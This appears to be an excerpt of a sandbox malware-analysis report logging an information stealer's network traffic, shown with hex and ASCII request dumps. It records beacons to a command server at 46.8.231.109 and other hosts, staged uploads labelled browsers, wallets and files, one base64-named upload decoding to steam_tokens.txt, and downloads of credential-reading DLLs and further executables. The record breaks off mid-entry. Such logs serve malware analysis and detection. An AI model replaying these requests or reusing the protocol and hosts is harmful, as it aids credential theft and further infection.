Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBAKJDBKJJKFIDBGHCHost: 46.8.231.109Content-Length: 213Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 39 43 38 36 45 42 46 37 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 2d 2d 0d 0a Data Ascii: ------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="hwid"DE9C86EBF7C8465854224------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="build"default------FCFBAKJDBKJJKFIDBGHC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKJDGIJECFIEBFIDHCHost: cowod.hopto.orgContent-Length: 5789Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFBGDGHIIJJKEBKJDBHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="message"browsers------KEBFBGDGHIIJJKEBKJDB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBGHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="message"plugins------GDGIJECGDGCBKECAKFBG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="message"fplugins------DAFIEHIEGDHIDGDGHDHJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHJJJDAFBKEBGDGHCGHost: 46.8.231.109Content-Length: 7811Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBFHost: 46.8.231.109Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAHost: 46.8.231.109Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHIHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJDBAKKKFBFHIDGIIEHHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 2d 2d 0d 0a Data Ascii: ------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="file"------IIJDBAKKKFBFHIDGIIEH--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAKHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDHIJDGCBAKFIEGHCBHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 2d 2d 0d 0a Data Ascii: ------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="message"wallets------CFHDHIJDGCBAKFIEGHCB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAFHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"files------EGIDHDGCBFBKECBFHCAF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFBHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file"------ECGHCBGCBFHIIDHIJKFB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBKJKFIECAAAKFBFBFHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------HJDBKJKFIECAAAKFBFBFContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------HJDBKJKFIECAAAKFBFBFContent-Disposition: form-data; name="message"ybncbhylepme------HJDBKJKFIECAAAKFBFBF--
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKFHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BAAAKJDAAFBAAKEBAAKF--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBFHost: urusvisa.comContent-Length: 255Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 39 43 38 36 45 42 46 37 43 38 34 36 35 38 35 34 32 32 34 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="hwid"DE9C86EBF7C8465854224-a33c7340-61ca------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------JKKKJJJKJKFHJJJJECBF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 39 64 30 34 30 62 61 63 66 66 37 62 36 32 65 66 66 36 61 33 32 31 63 63 36 38 34 32 35 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 2d 2d 0d 0a Data Ascii: ------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="token"419d040bacff7b62eff6a321cc684255------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="mode"1------DHDAKFCGIJKJKFHIDHII--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIEHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 39 64 30 34 30 62 61 63 66 66 37 62 36 32 65 66 66 36 61 33 32 31 63 63 36 38 34 32 35 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 2d 2d 0d 0a Data Ascii: ------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="token"419d040bacff7b62eff6a321cc684255------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; 